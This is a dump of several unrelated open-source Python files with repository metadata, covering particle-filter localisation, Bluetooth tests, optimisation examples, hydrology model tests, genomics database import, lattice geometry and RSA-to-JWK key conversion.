= -2 * math.pi + estimated_grad # elif estimated_grad < -math.pi: # estimated_grad = math.pi - abs(-math.pi - estimated_grad) # weight = 0.99 ** (inner_curr - starting_curr) # weight_sum += weight # estimated_grad = weight * estimated_grad # est_sin_sum += math.sin(estimated_grad) # est_cos_sum += math.cos(estimated_grad) # inner_curr -= 1 # avg_est_sin = est_sin_sum / weight_sum # avg_est_cos = est_cos_sum / weight_sum # avg_grad = math.atan2(avg_est_sin, avg_est_cos) # doa.append(avg_grad) resultFile = open("error_boundry_particleFilter_full"+sys.argv[1].split("/")[1] +".csv", "a") # append mode resultFile.write("Channel,"+"Mean,"+"StDev"+"\n") for channel in overall_rss: # if int(channel)%5 == 0: print("---------Channel %s--------"%channel) poses = overall_rss[channel] random.seed(datetime.now()) previous_errors =[] distance_error =[] particles = [] times = [] # num_particles = len(particles) # print("Number of particle filters",num_particles) for original_pos in poses: rss_values = np.average(poses[original_pos],axis=0) # print(rss_values) for p in range(num_particles): particles.append((random.choice(possible_x)/10,random.choice(possible_y)/10)) start_time = time.time() positions =[] errors=[] weights =[] error=0 gx = (((rss_values[1]-rss_values[0])/20) + ((rss_values[2]-rss_values[3])/20))/2 gy = (((rss_values[2]-rss_values[1])/20) + ((rss_values[3]-rss_values[0])/20))/2 estimated_doa=math.atan2(gy,gx) for particle in particles: x,y=particle[0],particle[1] # print(str(particle)) # actual_rss = gen_wifi(pos=(x,y),n=pathloss_exponent,rss0=RSS0,noise=0) # gx = ((actual_rss[1]-actual_rss[0])/2) + ((actual_rss[2]-actual_rss[3])/2) # gy = ((actual_rss[2]-actual_rss[1])/2) + ((actual_rss[3]-actual_rss[0])/2) adoa=math.atan2(y-centroid[1],x-centroid[0]) error=adoa-estimated_doa if len(previous_errors)>2: std_error=np.std(previous_errors) else: std_error=0.01 omega=((1/((std_error)*math.sqrt(2*math.pi)))*(math.pow(math.e,-(math.pow(error,2)/(2*(std_error**2)))))) for j in range(len(previous_errors)-1,len(previous_errors)-4 if len(previous_errors) > 5 else 0,-1): omega=omega*((1/((std_error)*math.sqrt(2*math.pi)))*(math.pow(math.e,-(math.pow(previous_errors[j],2)/(2*(std_error**2)))))) weights.append(omega) positions.append((x,y)) errors.append(error) sum_weight=np.sum(weights) if sum_weight == 0: pass for j in range(0,len(weights)): weights[j]=weights[j]/sum_weight max_weight = max(weights) max_index = weights.index(max_weight) pos=positions[max_index] previous_errors.append(errors[max_index]) # print("Actual position: ",original_pos,"Predicted Position: ",pos,"DOA: ",estimated_doa*180/math.pi,"ADOA: ",(errors[max_index]+estimated_doa)*180/math.pi,"Error: ",errors[max_index]) distance_error.append(dist(pos[0],pos[1],original_pos)) times.append(time.time() - start_time) distcumulativeEror=np.sum(distance_error) distmeanError=np.average(distance_error) distStandardDeviationError=np.std(distance_error) print("--- Average Computation Time per Iteration : %s seconds ---" % (np.average(times))) # print("rss0",RSS0,"path loss exponent: ",pathloss_exponent) # print("RSS_ERROR: Cumulative Error: " + str(rsscumulativeEror)+"\tMean Error: "+str(rssmeanError)+"\tStandard Deviation: "+str(rssStandardDeviationError)) print("DIST_ERROR: Cummulative Error: " + str(distcumulativeEror)+"\tMean Error: "+str(distmeanError)+"\tStandard Deviation: "+str(distStandardDeviationError)) resultFile.write(str(channel)+","+str(distmeanError)+","+str(distStandardDeviationError)+"\n")

42.934673

193

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0.045204

0

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194

43.151515

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false

0.009091

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1

0

2b5ab16f7eac57edcf489858361268d92f9398a8

538

py

Python

devito/devito/foreign/__init__.py

LukasMosser/stochastic_seismic_waveform_inversion

4976c3b9a39b8d246d3d220056f235df6fc7dbb3

[ "MIT" ]

20

2019-08-01T19:08:10.000Z

2022-03-20T05:04:06.000Z

devito/devito/foreign/__init__.py

esgomi/gan_seismic_waveform_inversion

4976c3b9a39b8d246d3d220056f235df6fc7dbb3

[ "MIT" ]

1

2019-12-05T13:00:14.000Z

devito/devito/foreign/__init__.py

esgomi/gan_seismic_waveform_inversion

4976c3b9a39b8d246d3d220056f235df6fc7dbb3

[ "MIT" ]

12

2019-10-03T14:47:48.000Z

2021-09-22T14:06:47.000Z

""" The ``foreign`` Devito backend is meant to be used by codes that don't run Python natively. This backend is only capable of generating and compiling kernels; however, kernels must be executed explicitly from outside Devito. Further, with the ``foreign`` backed, Devito doesn't allocate any data. """ # The following used by backends.backendSelector from devito.function import Constant, Function, TimeFunction, SparseFunction # noqa from devito.foreign.operator import Operator # noqa from devito.types import CacheManager # noqa

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2b5d21bc7f3bf38099a6104d053f835c59544b6b

2,764

py

Python

test/connectivity/acts/tests/google/bt/native/BtNativeTest.py

Keneral/atools

055e76621340c7dced125e9de56e2645b5e1cdfb

[ "Unlicense" ]

null

test/connectivity/acts/tests/google/bt/native/BtNativeTest.py

Keneral/atools

055e76621340c7dced125e9de56e2645b5e1cdfb

[ "Unlicense" ]

null

test/connectivity/acts/tests/google/bt/native/BtNativeTest.py

Keneral/atools

055e76621340c7dced125e9de56e2645b5e1cdfb

[ "Unlicense" ]

1

2018-02-24T19:13:01.000Z

#/usr/bin/env python3.4 # # Copyright (C) 2016 The Android Open Source Project # # Licensed under the Apache License, Version 2.0 (the "License"); you may not # use this file except in compliance with the License. You may obtain a copy of # the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations under # the License. import time from acts.base_test import BaseTestClass from acts.controllers import native_android_device from acts.test_utils.bt.native_bt_test_utils import setup_native_bluetooth from acts.test_utils.bt.bt_test_utils import generate_id_by_size class BtNativeTest(BaseTestClass): tests = None def __init__(self, controllers): BaseTestClass.__init__(self, controllers) setup_native_bluetooth(self.native_devices) self.droid = self.native_devices[0].droid self.tests = ("test_binder_get_name", "test_binder_get_name_invalid_parameter", "test_binder_set_name_get_name", "test_binder_get_address", ) if len(self.native_devices) > 1: self.droid1 = self.native_devices[1].droid self.tests = self.tests + ("test_two_devices_set_get_name", ) def test_binder_get_name(self): result = self.droid.BluetoothBinderGetName() self.log.info("Bluetooth device name: {}".format(result)) return True def test_binder_get_name_invalid_parameter(self): try: self.droid.BluetoothBinderGetName("unexpected_parameter") return False except Exception: return True def test_binder_set_name_get_name(self): test_name = generate_id_by_size(4) result = self.droid.BluetoothBinderSetName(test_name) if not result: return False name = self.droid.BluetoothBinderGetName() if test_name != name: return False return True def test_binder_get_address(self): result = self.droid.BluetoothBinderGetAddress() self.log.info("Found BT address: {}".format(result)) if not result: return False return True def test_two_devices_set_get_name(self): test_name = generate_id_by_size(4) for n in self.native_devices: d = n.droid d.BluetoothBinderSetName(test_name) name = d.BluetoothBinderGetName() if name != test_name: return False return True

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2b5f8027129b5d5b1861d24a6459864da8da66d7

293

py

Python

src/app/callbacks/init.py

PhilippVerpoort/blue-green-H2

a9b9bd27d2459df0f14e719a466af5ed6318d7e0

[ "MIT" ]

null

src/app/callbacks/init.py

PhilippVerpoort/blue-green-H2

a9b9bd27d2459df0f14e719a466af5ed6318d7e0

[ "MIT" ]

null

src/app/callbacks/init.py

PhilippVerpoort/blue-green-H2

a9b9bd27d2459df0f14e719a466af5ed6318d7e0

[ "MIT" ]

1

2022-03-19T16:11:53.000Z

from src.config_load import input_data, steel_data, plots_cfg from src.data.data import getFullData from src.plotting.plot_all import plotAllFigs outputData = getFullData(input_data.copy(), steel_data) figsDefault = plotAllFigs(outputData, input_data.copy(), plots_cfg, global_cfg='webapp')

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2b5f838d508a37329b5f07cb4bf0d798c35b1875

125

py

Python

colornamer/__init__.py

stitchfix/colornamer

1bbaf061feee42322f2428fbf7d9e9a20be255aa

[ "Apache-2.0" ]

55

2020-09-02T20:10:30.000Z

2022-03-16T01:25:15.000Z

colornamer/__init__.py

stitchfix/colornamer

1bbaf061feee42322f2428fbf7d9e9a20be255aa

[ "Apache-2.0" ]

1

2021-01-24T12:21:27.000Z

2021-12-07T02:10:14.000Z

colornamer/__init__.py

stitchfix/colornamer

1bbaf061feee42322f2428fbf7d9e9a20be255aa

[ "Apache-2.0" ]

5

2020-09-13T13:48:28.000Z

2021-11-18T09:45:02.000Z

from .colornamer import get_color_from_rgb from .colornamer import get_color_from_lab from .colornamer import get_color_json

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9

2b60e2628d815b25ace1f2175354070d83869ce9

242

py

Python

sam-application/lambda_restapi/api/endpoints/root/__init__.py

gbourniq/lambda-restapi

11d59bb7182fb8d2a0508399607724b9ac3c1601

[ "MIT" ]

2

2020-12-25T20:13:04.000Z

2021-02-04T19:09:11.000Z

sam-application/lambda_restapi/api/endpoints/root/__init__.py

gbourniq/lambda-restapi

11d59bb7182fb8d2a0508399607724b9ac3c1601

[ "MIT" ]

null

sam-application/lambda_restapi/api/endpoints/root/__init__.py

gbourniq/lambda-restapi

11d59bb7182fb8d2a0508399607724b9ac3c1601

[ "MIT" ]

null

"""This module defines the main router among all ROOT endpoints""" from fastapi import APIRouter from .healthcheck import router as healthcheck_router router = APIRouter() router.include_router(healthcheck_router, include_in_schema=False)

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2b61d7390ab2819c257c38fbffc3a703a9852f12

5,176

py

Python

PEPit/examples/unconstrained_convex_minimization/accelerated_gradient_convex.py

PerformanceEstimation/PEPit

7005bc9a9da11dea448966437365c897734ec341

[ "MIT" ]

1

2022-03-30T11:18:37.000Z

PEPit/examples/unconstrained_convex_minimization/accelerated_gradient_convex.py

PerformanceEstimation/PEPit

7005bc9a9da11dea448966437365c897734ec341

[ "MIT" ]

1

2022-02-23T10:26:38.000Z

PEPit/examples/unconstrained_convex_minimization/accelerated_gradient_convex.py

PerformanceEstimation/PEPit

7005bc9a9da11dea448966437365c897734ec341

[ "MIT" ]

null

from PEPit import PEP from PEPit.functions import SmoothStronglyConvexFunction def wc_accelerated_gradient_convex(mu, L, n, verbose=1): """ Consider the convex minimization problem .. math:: f_\\star \\triangleq \\min_x f(x), where :math:`f` is :math:`L`-smooth and :math:`\\mu`-strongly convex (:math:`\\mu` is possibly 0). This code computes a worst-case guarantee for an **accelerated gradient method**, a.k.a. **fast gradient method**. That is, it computes the smallest possible :math:`\\tau(n, L, \\mu)` such that the guarantee .. math:: f(x_n) - f_\\star \\leqslant \\tau(n, L, \\mu) \\|x_0 - x_\\star\\|^2 is valid, where :math:`x_n` is the output of the accelerated gradient method, and where :math:`x_\\star` is the minimizer of :math:`f`. In short, for given values of :math:`n`, :math:`L` and :math:`\\mu`, :math:`\\tau(n, L, \\mu)` is computed as the worst-case value of :math:`f(x_n)-f_\\star` when :math:`\\|x_0 - x_\\star\\|^2 \\leqslant 1`. **Algorithm**: The accelerated gradient method of this example is provided by .. math:: :nowrap: \\begin{eqnarray} x_{t+1} & = & y_t - \\frac{1}{L} \\nabla f(y_t) \\\\ y_{t+1} & = & x_{t+1} + \\frac{t-1}{t+2} (x_{t+1} - x_t). \\end{eqnarray} **Theoretical guarantee**: When :math:`\\mu=0`, a tight **empirical** guarantee can be found in [1, Table 1]: .. math:: f(x_n)-f_\\star \\leqslant \\frac{2L\\|x_0-x_\\star\\|^2}{n^2 + 5 n + 6}, where tightness is obtained on some Huber loss functions. **References**: `[1] A. Taylor, J. Hendrickx, F. Glineur (2017). Exact worst-case performance of first-order methods for composite convex optimization. SIAM Journal on Optimization, 27(3):1283–1313. <https://arxiv.org/pdf/1512.07516.pdf>`_ Args: mu (float): the strong convexity parameter L (float): the smoothness parameter. n (int): number of iterations. verbose (int): Level of information details to print. -1: No verbose at all. 0: This example's output. 1: This example's output + PEPit information. 2: This example's output + PEPit information + CVXPY details. Returns: pepit_tau (float): worst-case value theoretical_tau (float): theoretical value Example: >>> pepit_tau, theoretical_tau = wc_accelerated_gradient_convex(mu=0, L=1, n=1, verbose=1) (PEPit) Setting up the problem: size of the main PSD matrix: 4x4 (PEPit) Setting up the problem: performance measure is minimum of 1 element(s) (PEPit) Setting up the problem: initial conditions (1 constraint(s) added) (PEPit) Setting up the problem: interpolation conditions for 1 function(s) function 1 : 6 constraint(s) added (PEPit) Compiling SDP (PEPit) Calling SDP solver (PEPit) Solver status: optimal (solver: SCS); optimal value: 0.16666666668209376 *** Example file: worst-case performance of accelerated gradient method *** PEPit guarantee: f(x_n)-f_* <= 0.166667 ||x_0 - x_*||^2 Theoretical guarantee: f(x_n)-f_* <= 0.166667 ||x_0 - x_*||^2 """ # Instantiate PEP problem = PEP() # Declare a strongly convex smooth function func = problem.declare_function(SmoothStronglyConvexFunction, mu=mu, L=L) # Start by defining its unique optimal point xs = x_* and corresponding function value fs = f_* xs = func.stationary_point() fs = func.value(xs) # Then define the starting point x0 of the algorithm x0 = problem.set_initial_point() # Set the initial constraint that is the distance between x0 and x^* problem.set_initial_condition((x0 - xs) ** 2 <= 1) # Run n steps of the fast gradient method x_new = x0 y = x0 for i in range(n): x_old = x_new x_new = y - 1 / L * func.gradient(y) y = x_new + i / (i + 3) * (x_new - x_old) # Set the performance metric to the function value accuracy problem.set_performance_metric(func.value(x_new) - fs) # Solve the PEP pepit_verbose = max(verbose, 0) pepit_tau = problem.solve(verbose=pepit_verbose) # Theoretical guarantee (for comparison) theoretical_tau = 2 * L / (n ** 2 + 5 * n + 6) # tight only for mu=0, see [2], Table 1 (column 1, line 1) if mu != 0: print('Warning: momentum is tuned for non-strongly convex functions.') # Print conclusion if required if verbose != -1: print('*** Example file: worst-case performance of accelerated gradient method ***') print('\tPEPit guarantee:\t f(x_n)-f_* <= {:.6} ||x_0 - x_*||^2'.format(pepit_tau)) print('\tTheoretical guarantee:\t f(x_n)-f_* <= {:.6} ||x_0 - x_*||^2'.format(theoretical_tau)) # Return the worst-case guarantee of the evaluated method (and the reference theoretical value) return pepit_tau, theoretical_tau if __name__ == "__main__": pepit_tau, theoretical_tau = wc_accelerated_gradient_convex(mu=0, L=1, n=1, verbose=1)

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2b61ffc6917a5f272ca7c83fd65079c3be07964c

3,797

py

Python

pcraster/pcraster-4.2.0/pcraster-4.2.0/source/python_modelling_framework/UnitTests/pfTestModels.py

quanpands/wflow

b454a55e4a63556eaac3fbabd97f8a0b80901e5a

[ "MIT" ]

null

pcraster/pcraster-4.2.0/pcraster-4.2.0/source/python_modelling_framework/UnitTests/pfTestModels.py

quanpands/wflow

b454a55e4a63556eaac3fbabd97f8a0b80901e5a

[ "MIT" ]

null

pcraster/pcraster-4.2.0/pcraster-4.2.0/source/python_modelling_framework/UnitTests/pfTestModels.py

quanpands/wflow

b454a55e4a63556eaac3fbabd97f8a0b80901e5a

[ "MIT" ]

null

#!/usr/bin/env python # -*- coding: utf-8 -*- import random import pcraster import pcraster.framework.dynamicPCRasterBase as dynamicPCRasterBase import pcraster.framework.mcPCRasterBase as mcPCRasterBase import pcraster.framework.pfPCRasterBase as pfPCRasterBase import pcraster.framework.staticPCRasterBase as staticPCRasterBase class StaticWithoutAll(staticPCRasterBase.StaticModel, mcPCRasterBase.MonteCarloModel): def __init__(self): staticPCRasterBase.StaticModel.__init__(self) mcPCRasterBase.MonteCarloModel.__init__(self) def initial(self): pass class DynamicWithoutAll(dynamicPCRasterBase.DynamicModel, mcPCRasterBase.MonteCarloModel): def __init__(self): dynamicPCRasterBase.DynamicModel.__init__(self) mcPCRasterBase.MonteCarloModel.__init__(self) def initial(self): pass class StaticWithoutSuspend(staticPCRasterBase.StaticModel, mcPCRasterBase.MonteCarloModel): def __init__(self): staticPCRasterBase.StaticModel.__init__(self) mcPCRasterBase.MonteCarloModel.__init__(self) def initial(self): pass def updateWeight(self): pass class DynamicWithoutSuspend(dynamicPCRasterBase.DynamicModel, mcPCRasterBase.MonteCarloModel): def __init__(self): dynamicPCRasterBase.DynamicModel.__init__(self) mcPCRasterBase.MonteCarloModel.__init__(self) def initial(self): pass def updateWeight(self): pass class StaticWithoutResume(mcPCRasterBase.MonteCarloModel): def __init__(self): pass def initial(self): pass def updateWeight(self): pass def suspend(self): pass class DynamicWithoutResume(mcPCRasterBase.MonteCarloModel): def __init__(self): pass def initial(self): pass def updateWeight(self): pass def suspend(self): pass # class T0(mcPCRasterBase.MonteCarloModel): def __init__(self): pass # class T1(mcPCRasterBase.MonteCarloModel): def __init__(self): pass # class staticModel(mcPCRasterBase.MonteCarloModel): def __init__(self): mcPCRasterBase.MonteCarloModel.__init__(self) staticPCRasterBase.StaticModel.__init__(self) pcraster.setclone("clone.map") self.newmap = pcraster.readmap("clone.map") def initial(self): name = "mcsi%d" % (self.currentSampleNumber()) self.report(self.newmap, name) def premcloop(self): for sample in self.sampleNumbers(): name = "premc%d" % (sample) self.report(self.newmap, name) def postmcloop(self): for sample in self.sampleNumbers(): name = "postmc%d" % (sample) self.report(self.newmap, name) # class DynamicModel(dynamicPCRasterBase.DynamicModel, mcPCRasterBase.MonteCarloModel, pfPCRasterBase.ParticleFilterModel): def __init__(self): dynamicPCRasterBase.DynamicModel.__init__(self) mcPCRasterBase.MonteCarloModel.__init__(self) pfPCRasterBase.ParticleFilterModel.__init__(self) pcraster.setclone("clone.map") self.newmap = pcraster.readmap("clone.map") def initial(self): name = "mcdi%d" % (self.currentSampleNumber()) self.report(self.newmap, name) self.stateVar = self.currentSampleNumber() def premcloop(self): for sample in self.sampleNumbers(): for timestep in self.timeSteps(): name = "premc_%d_%d" % (sample, timestep) self.report("clone.map", name) def postmcloop(self): for sample in self.sampleNumbers(): for timestep in self.timeSteps(): name = "postmc_%d_%d" % (sample, timestep) self.report("clone.map", name) def dynamic(self): name = "mcdd%d" % (self.currentSampleNumber()) self.report("clone.map", name) def updateWeight(self): return random.random() def suspend(self): assert self.stateVar == self.currentSampleNumber() def resume(self): assert self.stateVar == self.currentSampleNumber()

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2b62bceba3f71a5c3bc433ee4f5eefd5ac1873e5

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py

Python

2_import/rna_seq/01_import_merged_tsv.py

weng-lab/SCREEN

e8e7203e2f9baa2de70e2f75bdad3ae24b568367

[ "MIT" ]

5

2020-07-30T02:35:20.000Z

2020-12-24T01:26:47.000Z

2_import/rna_seq/01_import_merged_tsv.py

weng-lab/SCREEN

e8e7203e2f9baa2de70e2f75bdad3ae24b568367

[ "MIT" ]

6

2021-03-04T10:30:11.000Z

2022-03-16T16:47:47.000Z

2_import/rna_seq/01_import_merged_tsv.py

weng-lab/SCREEN

e8e7203e2f9baa2de70e2f75bdad3ae24b568367

[ "MIT" ]

2

2020-12-08T10:05:02.000Z

2022-03-10T09:41:19.000Z

#!/usr/bin/env python # SPDX-License-Identifier: MIT # Copyright (c) 2016-2020 Michael Purcaro, Henry Pratt, Jill Moore, Zhiping Weng from __future__ import print_function import os import sys import json import psycopg2 import argparse import gzip sys.path.append(os.path.join(os.path.dirname(__file__), '../../common/')) from dbconnect import db_connect from config import Config sys.path.append(os.path.join(os.path.dirname(os.path.realpath(__file__)), "../../metadata/utils")) from db_utils import getcursor, makeIndex, makeIndexRev, makeIndexArr, makeIndexIntRange, makeIndexMultiCol from files_and_paths import Dirs, Tools, Genome, Datasets from utils import AddPath, Utils, printt, importedNumRows AddPath(__file__, '../../common/') from dbconnect import db_connect from constants import chroms, paths, DB_COLS from config import Config from table_names import GeData, GeExperimentList class ImportRNAseq(object): def __init__(self, curs, assembly): self.curs = curs self.assembly = assembly def _tableNameData(self, isNormalized): return GeData(self.assembly, isNormalized) def _tableNameExperimentList(self): return GeExperimentList(self.assembly) def run(self): for isNormalized in [True, False]: tableNameData = self._tableNameData(isNormalized) fnp = paths.geFnp(self.assembly, isNormalized) self._setupAndCopy(tableNameData, fnp) self._doIndexData(tableNameData) # normalizaed and unnormalizaed tables should have same experiments!! self._extractExpIDs(tableNameData, self._tableNameExperimentList()) def _setupAndCopy(self, tableNameData, fnp): printt("dropping and creating", tableNameData) self.curs.execute(""" DROP TABLE IF EXISTS {tableNameData}; CREATE TABLE {tableNameData} ( id serial PRIMARY KEY, ensembl_id VARCHAR(256) NOT NULL, gene_name VARCHAR(256) NOT NULL, expID VARCHAR(256) NOT NULL, fileID VARCHAR(256) NOT NULL, replicate INT NOT NULL, fpkm NUMERIC NOT NULL, tpm NUMERIC NOT NULL); """.format(tableNameData=tableNameData)) printt("importing", fnp) with gzip.open(fnp) as f: self.curs.copy_from(f, tableNameData, '\t', columns=("expID", "replicate", "ensembl_id", "gene_name", "fileID", "tpm", "fpkm")) importedNumRows(self.curs) def _extractExpIDs(self, tableNameData, tableNameExperimentList): printt("dropping and creating", tableNameExperimentList) self.curs.execute(""" DROP TABLE IF EXISTS {tableNameExperimentList}; CREATE TABLE {tableNameExperimentList} AS SELECT DISTINCT expID, fileID, replicate FROM {tableNameData} """.format(tableNameData = tableNameData, tableNameExperimentList = tableNameExperimentList)) importedNumRows(self.curs) def _doIndexData(self, tableNameData): printt("creating indices in", tableNameData, "...") makeIndex(self.curs, tableNameData, ["gene_name", "tpm"]) def doIndex(self): for isNormalized in [True, False]: self._doIndexData(self._tableNameData(isNormalized)) def run(args, DBCONN): assemblies = Config.assemblies if args.assembly: assemblies = [args.assembly] for assembly in assemblies: with getcursor(DBCONN, "08_setup_log") as curs: im = ImportRNAseq(curs, assembly) if args.index: im.doIndex() else: im.run() def parse_args(): parser = argparse.ArgumentParser() parser.add_argument("--assembly", type=str, default="") parser.add_argument('--index', action="store_true", default=False) args = parser.parse_args() return args def main(): args = parse_args() DBCONN = db_connect(os.path.realpath(__file__)) run(args, DBCONN) return 0 if __name__ == '__main__': sys.exit(main())

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null

0

null

0

1

0

2b663e447ff6dde531cade9c45704d5b63408a17

4,618

py

Python

code/src/helpers/sequencer.py

mcd01/arvalus-experiments

1c075853885d0d81284eee55988ba8747d33584e

[ "MIT" ]

null

code/src/helpers/sequencer.py

mcd01/arvalus-experiments

1c075853885d0d81284eee55988ba8747d33584e

[ "MIT" ]

null

code/src/helpers/sequencer.py

mcd01/arvalus-experiments

1c075853885d0d81284eee55988ba8747d33584e

[ "MIT" ]

null

import torch from src.transforms import MultiNodeData import collections import dill import os from src.utils import create_dirs class Sequencer(object): "Determines sequences in a dataset and annotates elements accordingly." def __init__(self, path_to_dir : str, node_classes : list = [], graph_classes : list = [], exclude_normal : bool = False, transform_key =""): self.path_to_dir = path_to_dir self.is_fitted : bool = False self.__exclude_normal__ = exclude_normal self.__node_classes__ = node_classes self.__graph_classes__ = graph_classes self.__sequence_dict__ : dict = {} self.__latest_group__ : tuple = None self.__id__ = Sequencer.get_id(node_classes=self.__node_classes__, graph_classes=self.__graph_classes__, exclude_normal=self.__exclude_normal__, transform_key=transform_key) def __repr__(self): return f"{self.__class__.__name__}(exclude_normal={self.__exclude_normal__}, #sequence_groups={self.__latest_group__[0] + 1})" # starts with zero def __str__(self): return f"{self.__class__.__name__}(exclude_normal={self.__exclude_normal__}, #sequence_groups={self.__latest_group__[0] + 1})" # starts with zero @staticmethod def get_id(*args, **kwargs): sorted_kwargs = collections.OrderedDict(sorted(kwargs.items())) return ", ".join(f"{key}={value}" for key, value in sorted_kwargs.items()) @classmethod def getInstance(cls, path_to_dir : str, **kwargs): path_to_file = os.path.join(path_to_dir, "sequencer.pkl") if os.path.exists(path_to_file): with open(path_to_file, 'rb') as dill_file: obj = dill.load(dill_file) if obj.__id__ == Sequencer.get_id(**kwargs): return obj else: return Sequencer(path_to_dir, **kwargs) else: return Sequencer(path_to_dir, **kwargs) def save(self): create_dirs(self.path_to_dir) with open(os.path.join(self.path_to_dir, "sequencer.pkl"), "wb") as dill_file: dill.dump(self, dill_file) def __call__(self, data: MultiNodeData): file_idx : int = data["file_idx"] look_up_dict = self.__sequence_dict__.get(file_idx, {}) for key, value in look_up_dict.items(): data[key] = value return data def annotate(self, data: MultiNodeData): "The calling function iterates over a dataset and sequentially inputs elements." # extract properties from object identifiers : list = data["identifiers"] y_compact = data["y"] y_full = data["y_full"] sequence_node_group : str = None sequence_transitional : str = "steady" sequence_anomaly_index : int = torch.argmax(y_compact).item() sequence_anomaly : int = self.__graph_classes__[sequence_anomaly_index] sequence_anomaly_index = self.__node_classes__.index(sequence_anomaly) # overwrite if y_compact[0,0] == 1 and not self.__exclude_normal__: sequence_node_group = "cluster" else: identifier_index : int = torch.argmax(y_full[: ,sequence_anomaly_index]).item() identifier : str = identifiers[identifier_index] sequence_node_group = data[f"group_{identifier}"] # handle group incrementing if self.__latest_group__ is None: self.__latest_group__ = (0, sequence_anomaly, sequence_node_group) elif (self.__latest_group__[1] != sequence_anomaly) or (self.__latest_group__[2] != sequence_node_group): sequence_transitional = "up / down" self.__latest_group__ = (self.__latest_group__[0] + 1, sequence_anomaly, sequence_node_group) # add properties to this object data["sequence_group"] = self.__latest_group__[0] data["sequence_anomaly"] = sequence_anomaly data["sequence_node_group"] = sequence_node_group self.__sequence_dict__[data["file_idx"]] = { "sequence_transitional": sequence_transitional, "sequence_id": self.__latest_group__[0], "file_id": data["file_idx"] } return data

40.867257

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0.60654

513

4,618

4.927875

0.241715

0.028481

0.065269

0.037975

0.191851

0.105222

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0

0.004342

0.301862

4,618

113

154

40.867257

0.779777

0.062148

0

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0.025

0.2875

0

null

0

null

0

1

0

2b676d4042d46bee66b146595fc707221e3e2e2a

2,184

py

Python

pymix/lattice_classes.py

vpbereznev/Pymix

74f87a099169f8d215399f5d52eed80a574c8b3b

[ "MIT" ]

null

pymix/lattice_classes.py

vpbereznev/Pymix

74f87a099169f8d215399f5d52eed80a574c8b3b

[ "MIT" ]

null

pymix/lattice_classes.py

vpbereznev/Pymix

74f87a099169f8d215399f5d52eed80a574c8b3b

[ "MIT" ]

null

from math import sqrt, sin, cos, pi, ceil class HexLattice: def __init__(self, pitch, pattern): self.pitch = pitch self.pattern = pattern def num_nodes(self): return len(self.pattern) def num_rings(self): return ceil((1 + sqrt(1 + 4 / 3 * (self.num_nodes() - 1))) / 2) def spiral_coord(self): coord = [(0.0, 0.0)] * self.num_nodes() for i in range(1, self.num_rings()): for j in range(6): coord[3 * i * (i - 1) + 2 + j * i - 1] = (self.pitch * i * cos(j / 3.0 * pi + pi / 6.0), self.pitch * i * sin(j / 3.0 * pi + pi / 6.0)) if i > 1: for j in range(5): a = 3 * i * (i - 1) + 2 + i * j - 1 b = a + i for k in range(1, i): coord[a + k] = (coord[a][0] + (coord[b][0] - coord[a][0]) / i * k, coord[a][1] + (coord[b][1] - coord[a][1]) / i * k) a = 3 * i * (i - 1) + 2 + i * 5 - 1 b = 3 * i * (i - 1) + 2 + i * 0 - 1 for k in range(1, i): coord[a + k] = (coord[a][0] + (coord[b][0] - coord[a][0]) / i * k, coord[a][1] + (coord[b][1] - coord[a][1]) / i * k) return coord class RectangularLattice: def __init__(self, nx, ny, dx, dy, pattern): self.nx = nx self.ny = ny self.dx = dx self.dy = dy self.pattern = pattern def get_coord(self): coord = [] for i in range(self.nx): for j in range(self.ny): coord.append(((i + 1) * self.dx, (j + 1) * self.dy)) return coord class CircleLattice: def __init__(self, nodes, pitch, pattern): self.nodes = nodes self.pitch = pitch self.pattern = pattern def get_coord(self): coord = [] angle = 360.0 / self.nodes / 180.0 * pi for i in range(self.nodes): coord.append((0.5 * self.pitch * cos(i * angle), 0.5 * self.pitch * sin(i * angle))) return coord

33.6

104

0.42674

311

2,184

2.932476

0.157556

0.065789

0.013158

0.017544

0.361842

0.323465

0.316886

0.22807

0.144737

0

0.053797

0.421245

2,184

64

105

34.125

0.667722

0

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1

0.153846

false

0

0.019231

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0.326923

0

null

0

null

0

1

0

2b682e0dcc50ac9dca2be35fefa089b6c34ff322

798

py

Python

src/services/utils/rsa_key_to_jwk.py

its-dirg/oidc-fed

7be273957a89ec9cec281870cbc35acb659c5b20

[ "Apache-2.0" ]

3

2016-01-19T19:41:19.000Z

2016-11-23T13:42:06.000Z

src/services/utils/rsa_key_to_jwk.py

its-dirg/oidc-fed

7be273957a89ec9cec281870cbc35acb659c5b20

[ "Apache-2.0" ]

null

src/services/utils/rsa_key_to_jwk.py

its-dirg/oidc-fed

7be273957a89ec9cec281870cbc35acb659c5b20

[ "Apache-2.0" ]

null

#! /usr/bin/env python3 from argparse import ArgumentParser from jwkest.jwk import RSAKey, import_rsa_key_from_file from oic import rndstr from oidc_fed.util import write_private_key_to_jwk, write_key_to_jwk if __name__ == "__main__": parser = ArgumentParser() parser.add_argument("hostname") parser.add_argument("keypath") parser.add_argument("--pretty", action="store_true", default=False, help="add newlines in the output JWKs'") args = parser.parse_args() key = RSAKey(key=import_rsa_key_from_file(args.keypath), kid="{}/{}".format(args.hostname, rndstr()), use="sig", alg="RS256") write_private_key_to_jwk(key, args.hostname + ".jwk", pretty_format=args.pretty) write_key_to_jwk(key, args.hostname + ".pub.jwk", pretty_format=args.pretty)

38

112

0.729323

114

798

4.77193

0.447368

0.036765

0.058824

0.308824

0.084559

0

0.005839

0.141604

798

20

113

39.9

0.788321

0.027569

0

0.126452

0

1

0

false

0

0.357143

0

0.357143

0

null

0

null

0

1

0

1

2b696f156bbe3a81a3af6dc7e753998acc610ace

7,144

py

Python

LIM_scripts/stationTimings/examples/run_plotBlocks.py

Bhare8972/LOFAR-LIM

89f25be8c02cb8980c2e237da3eaac279d40a06a

[ "MIT" ]

3

2019-04-21T13:13:02.000Z

2020-10-15T12:44:23.000Z

LIM_scripts/stationTimings/examples/run_plotBlocks.py

Bhare8972/LOFAR-LIM

89f25be8c02cb8980c2e237da3eaac279d40a06a

[ "MIT" ]

null

LIM_scripts/stationTimings/examples/run_plotBlocks.py

Bhare8972/LOFAR-LIM

89f25be8c02cb8980c2e237da3eaac279d40a06a

[ "MIT" ]

2

2018-11-06T18:34:33.000Z

2019-04-04T14:16:57.000Z

